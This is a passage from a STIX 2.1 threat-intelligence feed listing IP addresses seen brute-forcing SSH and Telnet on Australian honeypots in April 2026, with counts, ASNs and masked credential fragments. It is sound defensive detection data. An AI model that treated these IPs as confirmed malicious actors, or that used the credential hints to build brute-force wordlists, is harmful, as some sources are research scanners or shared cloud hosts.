      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:15:13.000Z",
      "valid_until": "2026-05-03T04:15:09.000Z"
    },
    {
      "created": "2026-04-01T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--5dbd0747-b985-4dcf-b5f3-62b2e92e2204",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:15:13.000Z",
      "valid_until": "2026-05-03T04:15:09.000Z"
    },
    {
      "created": "2026-04-01T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 264750. Organisation(s): TELEOPERADORA DEL NORDESTE S.R.L.",
      "id": "indicator--75858df2-c7ac-48ff-a3c9-de8cfb19dab1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.137.81.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:15:13.000Z",
      "valid_until": "2026-05-03T04:15:09.000Z"
    },
    {
      "created": "2026-04-01T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): *, a*******y, ***, f**1, o****e. Passwords observed (masked): *, a*******y, ***, f**1, o****3.",
      "id": "indicator--eb933212-31b0-4d5f-a99e-c9d25b2bf826",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.246.130.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:15:13.000Z",
      "valid_until": "2026-05-03T04:15:09.000Z"
    },
    {
      "created": "2026-04-01T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4723b3c2-255a-42cb-83ec-fd9b534ebe56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.206.37.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:15:13.000Z",
      "valid_until": "2026-05-03T04:15:09.000Z"
    },
    {
      "created": "2026-04-01T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--45a2d070-0c69-42b3-b535-c68245d038c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.89.252.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:15:13.000Z",
      "valid_until": "2026-05-03T04:15:09.000Z"
    },
    {
      "created": "2026-04-01T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--ceeadcf2-7d46-4f78-9fba-37b63048db07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:15:13.000Z",
      "valid_until": "2026-05-03T04:15:09.000Z"
    },
    {
      "created": "2026-04-01T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:15:13.000Z",
      "valid_until": "2026-05-03T04:15:09.000Z"
    },
    {
      "created": "2026-04-01T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--2a230298-f741-4685-bc5a-3c34bb1ba5a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:15:13.000Z",
      "valid_until": "2026-05-03T04:15:09.000Z"
    },
    {
      "created": "2026-04-01T05:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--bbd381cf-98af-40d1-9db7-72af019015ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T05:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.36.1.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T05:15:02.000Z",
      "valid_until": "2026-05-03T05:15:01.000Z"
    },
    {
      "created": "2026-04-01T05:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--1abae6f5-ce35-4062-ad52-55b0bf0c7d0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T05:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.116.178.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T05:15:02.000Z",
      "valid_until": "2026-05-03T05:15:01.000Z"
    },
    {
      "created": "2026-04-01T05:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--1b16d367-126b-4bb3-9e2e-40148dcd9b5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T05:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T05:15:02.000Z",
      "valid_until": "2026-05-03T05:15:01.000Z"
    },
    {
      "created": "2026-04-01T05:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 58065. Organisation(s): Orion Network Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******r, 3***********4, 3**********4, V*******5, a******4.",
      "id": "indicator--1dc33264-e679-4acd-b56f-b9971ca9f65a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T05:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.196.253.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T05:15:02.000Z",
      "valid_until": "2026-05-03T05:15:01.000Z"
    },
    {
      "created": "2026-04-01T05:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--823d94f7-ab3e-4c98-b60b-23003e91ffa8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T05:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T05:15:02.000Z",
      "valid_until": "2026-05-03T05:15:01.000Z"
    },
    {
      "created": "2026-04-01T05:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--29c53698-b847-4fb9-a4db-7d909490eed3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T05:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.119.41.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T05:15:02.000Z",
      "valid_until": "2026-05-03T05:15:01.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ae828f53-4f31-4d1e-b339-b74ac1dafc03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.248.23.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, ***, Q******$, Z*********9.",
      "id": "indicator--7e213683-bf84-4af1-9204-f15c2876f639",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.28.9.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*********#, !*********3, 3***********4, 3**********4, H**********5.",
      "id": "indicator--0f425d75-45a3-4045-9234-f41222ae15ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.58.215.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--deeec709-bdf6-4ebf-a85d-f4547b7a6f8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.209.247.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): r**t. Passwords observed (masked): R******3.",
      "id": "indicator--6656ed27-4fdc-4ad9-b0ad-8291aa337144",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '155.4.245.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--d275a9c4-ab4e-4cfa-9b7c-1b078c94c92a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.92.175.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3********4, 3***********4, 3**********4, P******D, Q******$.",
      "id": "indicator--2bd1e826-391a-45e8-9f70-a5ee7bb21d44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.5.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 10139. Organisation(s): Smart Broadband, Inc..",
      "id": "indicator--c43a9eeb-8faf-4227-b4cf-a41b98bc22aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.158.203.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G***********************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--e3f12d52-cebd-4cc1-9a03-7643cfe833cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.154.236.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, c****e, 3**********4. Passwords observed (masked): 1******s, 3***********4, 3**********4, A*********a, A*******$.",
      "id": "indicator--0ba4fe91-96fd-4042-a586-de0c7c180e5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.213.96.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 17621. Organisation(s): China Unicom Shanghai network.",
      "id": "indicator--6859e886-73f2-448d-91b3-c1430e2c8a9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.166.22.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): r****e.",
      "id": "indicator--cb380b92-6390-4bc4-82a6-bfb98738e671",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.121.200.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--cd81971a-1f2f-4f6d-929f-d1754b0cc82d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.48.38.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 267738. Organisation(s): Global Net S.R.L.",
      "id": "indicator--ae8c0782-2636-41cf-a449-8ccd3d33b587",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.167.168.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--53fb0191-0650-4938-b01e-278a16a96a8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.101.119.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17813. Organisation(s): Mahanagar Telephone Nigam Limited.",
      "id": "indicator--3e39a905-a921-44a2-939d-2fefaae9631b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.180.162.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): U****************************1, G**************************************************1, G**********************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--83e80724-08f1-4107-a32e-37a903a1ace7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.226.88.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 205759. Organisation(s): Ghosty Networks LLC.",
      "id": "indicator--60f1f038-3a20-43ce-9109-6df8bd30c60a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.89.160.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--59085736-d867-43f6-bf97-0f1cf25a28af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.199.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3209. Organisation(s): Vodafone GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******z, 1*******c, 3***********4, 3**********4, P******D.",
      "id": "indicator--193c221b-8886-4598-a943-3ed101ad1068",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.208.74.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:15:14.000Z",
      "valid_until": "2026-05-03T06:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, A**********3, I**************4, c*******3.",
      "id": "indicator--a1511aef-ccc0-45b3-a0d9-a8fdc391649e",
      "labels": [
